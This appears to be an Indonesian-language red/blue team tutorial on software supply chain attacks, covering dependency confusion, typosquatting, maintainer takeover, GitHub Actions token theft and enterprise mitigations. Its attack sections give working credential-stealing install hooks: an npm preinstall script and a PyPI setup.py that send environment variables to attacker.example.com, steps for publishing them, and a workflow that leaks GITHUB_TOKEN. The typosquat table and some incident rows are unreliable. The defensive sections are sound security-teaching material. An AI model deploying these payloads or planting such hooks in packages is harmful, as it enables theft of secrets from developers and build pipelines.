Supply chain attacks menargetkan trust relationship antara developer dan dependency manager (npm, pip, cargo, gem, maven). Teknik seperti dependency confusion mengeksploitasi package manager yang memprioritaskan public registry di atas private registry. Catatan ini mencakup attack, detection, dan defense dari sudut pandang red team dan blue team — dengan command yang bisa diuji di lingkungan lab.
Ketika project menggunakan dependency, package manager mencari package di beberapa registry dengan urutan prioritas:
Package Manager
Default Priority
Konfigurasi Registry
npm
Public > Private (scoped)
.npmrc, package.json
pip
PyPI > Private index
pip.conf, PIP_EXTRA_INDEX_URL
cargo
crates.io > Git > Path
config.toml, Cargo.toml patch
gem
rubygems.org > Private
Gemfile source block
maven
Maven Central > Private repo
settings.xml, pom.xml
Attack flow:
Pentester/recon engineer menemukan internal package name (misal: @internal/auth-lib)
Attacker mendaftarkan nama yang sama di public registry (npm/PyPI/crates.io)
Jika konfigurasi salah — package manager pull dari public registry, bukan internal
Malicious code ter-install di pipeline/production
1.2 Kenapa Ini Terjadi
# NPM — scoped package @internal/* otomatis cari di npmjs.com jika tidak dikonfigurasi# .npmrc (harus ada):@internal:registry=https://npm.internal.company.com/# Jika .npmrc tidak ada → npm install @internal/auth-lib → AMBIL DARI PUBLIC!# PIP — EXTRA_INDEX_URL lebih rendah prioritas dari PyPI# pip.conf:[global]extra-index-url = https://pypi.internal.company.com/simple/# → PyPI tetap di-check FIRST → dependency confusion!
2. Practical Attack — Dependency Confusion
2.1 Setup Lab Environment
# Buat project targetmkdir dep-confusion-lab && cd dep-confusion-labnpm init -y# Buat package.json dengan internal-style package (scoped)echo '{ "name": "test-project", "version": "1.0.0", "dependencies": { "@internal/secret-sauce": "^1.0.0" }}' > package.json
2.2 Attack Step-by-Step (NPM)
# Step 1: Register di npmjs.com# Buat akun di https://www.npmjs.com/signupnpm login# Step 2: Buat package dengan nama yang samamkdir @internal-secret-sauce && cd @internal-secret-saucenpm init --scope=internal# Step 3: Tambahkan malicious preinstall script# package.json:# "scripts": {# "preinstall": "node malicious.js",# "preuninstall": "node malicious.js"# }# Buat malicious.js — exfiltrate environment variablescat > malicious.js << 'EOF'const https = require('https');const data = JSON.stringify({ env: process.env, hostname: require('os').hostname(), cwd: process.cwd(), pwd: process.env.PWD || 'unknown', aws_creds: process.env.AWS_SECRET_ACCESS_KEY ? 'EXISTS' : 'NONE'});https.request(`https://attacker.example.com/exfil?data=${Buffer.from(data).toString('base64')}`) .on('error', () => {}) // silent fail .end();// Proceed with normal install (mask malicious activity)EOF# Step 4: Publishnpm publish --access public# Step 5: Test — victim menjalankancd victim-projectnpm install# ⟶ Malicious code ter-eksekusi via preinstall hook!
2.3 PyPI Variant
# Step 1: Recon — cari nama package internal# Cek requirements.txt atau pip.conf untuk nama package anehgrep -r "internal" requirements.txtgrep -r "extra-index-url" pip.conf# Step 2: Buat package maliciousmkdir internal-auth-lib && cd internal-auth-libcat > setup.py << 'EOF'import setuptoolsimport osimport urllib.request# Malicious code — di-eksekusi saat pip installtry: hostname = os.uname().nodename env = dict(os.environ) urllib.request.urlopen( f"https://attacker.example.com/exfil?h={hostname}&env={str(env)[:500]}", timeout=2 )except: passsetuptools.setup( name="internal-auth-lib", version="1.0.0", packages=setuptools.find_packages(),)EOF# Step 3: Build dan publish ke PyPIpython setup.py sdist bdist_wheeltwine upload dist/*# Step 4: Victim installpip install internal-auth-lib
2.4 Detection — Cara Cek Apakah Kamu Vulnerable
# NPM — cek scoped package registrycat .npmrc 2>/dev/null || echo "NO .npmrc — vulnerable!"grep -r "@.*:registry" .npmrc# PIP — cek index URLpip config list | grep index-url# Jika hanya ada extra-index-url → vulnerable!# Cargo — cek registry configcat .cargo/config.toml 2>/dev/null# Cari replace-with untuk private registry# Universal checkernpm install @internal/does-not-exist --dry-run 2>&1 | grep "404"# Jika 404 → vulnerable (package bisa kita register)
3. Typosquatting — Teknik & Tools
3.1 Metode Typosquatting
Teknik
Contoh Original
Typosquat
Missing letter
lodash
lodash (lodah tanpa ‘s’)
Added letter
request
requestt
Swapped letters
moment
momnet
Homoglyph (Latin)
colors
соlors (Cyrillic ‘о’)
Homoglyph (Unicode)
node
nоde (Cyrillic ‘о’)
Dash hypenation
python-dateutil
python-dateutil (different hyphen)
Common misspelling
beautifulsoup
beautifullsoup
3.2 Tools untuk Typosquatting Detection
# 1. typo-squatting-detector — analisis package name similaritynpm install -g typo-squatting-detectortypo-squatting-detector check lodash# Output: similar names, similarity score# 2. ConfusionMatrix — scan project untuk dependency confusionpip install confusionmatrixconfusionmatrix --project /path/to/project# Output: risk score per dependency# 3. DNSGrep — cari leaked domain untuk typosquat detectioncurl "https://dns.google/resolve?name=pypi.python.org&type=A"# 4. Homoglyph attack detectionpython3 -c "import unicodedatadef has_homoglyph(s): for c in s: if ord(c) > 127 and unicodedata.category(c) != 'Mn': return True, c return False, Noneprint(has_homoglyph('соlors')) # Trueprint(has_homoglyph('colors')) # False"# 5. Cari typo-squat massal — analisis PyPI/npm metadata# https://github.com/datadog/guarddogguarddog verify requirements.txtguarddog verify package-lock.json
4. Package Substitution & Protestware
4.1 Real Kasus
Package
Year
Impact
Detail
colors.js (faker.js)
2022
DoS global
Maintainer corrupt library → infinite loop
ua-parser-js
2021
Credential theft
Malicious code di postinstall
event-stream
2018
Bitcoin theft
Copay wallet compromise via dependency
eslint-scope
2018
NPM token leak
3.7.0 release — stole CI credential
node-ipc
2022
Protestware
Delete files in Russia/Belarus region
next.js (GitHub)
2024
Source leak
Public repository exposure
4.2 Package Substitution Attack
# Attack pattern: maintainer takeover# 1. Cari abandoned package di npm/PyPI (>1 tahun no update)# 2. Cek maintainer email — password reuse?# 3. Request maintainer transfer# 4. Release new version dengan backdoor# Tools untuk cari abandoned package:# npm-check — outdated packagesnpm-check -g# pip list — outdated packagespip list --outdated# GitHub — abandoned maintainer detection# https://github.com/search?q=abandoned+package+transfer
# GitHub Actions — attacker inject malicious workflow# Jika attacker bisa PR → workflow auto-execute → token leak# Step 1: Fork → buat PR dengan workflow change# Step 2: Workflow mencuri GITHUB_TOKEN# .github/workflows/leak.yml# - name: Steal token# run: |# curl -X POST -H "Authorization: token ${{ secrets.GITHUB_TOKEN }}" \# https://api.github.com/repos/attacker/leak/issues \# -d '{"title":"leaked","body":"'${{ github.token }}'"}'# Step 3: Use token untuk push malicious release
6.2 Self-Hosted Runner Compromise
# Self-hosted runner memiliki akses ke internal network# Jika attacker bisa trigger workflow on self-hosted runner:# Workflow yang mengeksekusi di self-hosted runner# → access to:# - Internal container registry# - Cloud provider metadata# - Private NPM/PyPI registry# Defense:# - Jangan pernah pakai self-hosted runner untuk PR dari fork# - Gunakan ephemeral runner (scale set)# - Network isolation via VPC
7. Enterprise Mitigation
Layer
Tool/Method
Implementation
Code
.npmrc, pip.conf, private registry
Force registry resolution
Build
npm audit, pip-audit, cargo deny
Block in CI pipeline
Registry
Verdaccio, JFrog, GitHub Packages
Mirror + cache public packages
Signing
Sigstore/cosign, PGP
Verify package integrity
Policy
SLSA 3+, OSSF Scorecard 6+
Enforce at organization level
Runtime
Falco, Tracee
Monitor suspicious process behavior
# Private registry — Verdaccio (NPM)docker run -d --name verdaccio -p 4873:4873 verdaccio/verdaccionpm set registry http://localhost:4873/# Publish internal package ke private registrynpm publish --registry http://localhost:4873/# Block public registry access di CI — firewall# iptables:iptables -A OUTPUT -d registry.npmjs.org -j DROP# Atau via proxy:HTTP_PROXY=http://inspect-proxy:3128 npm install
8. Real Incidents — TTP & Lessons
SolarWinds (2020)
Item
Detail
Vector
Build server compromise → inject SUNBURST malware ke Orion build
Scope
18,000 customers affected, termasuk US govt
Technique
Supply chain poisoning di CI/CD pipeline
Lesson
Build integrity + SLSA 4 would have prevented this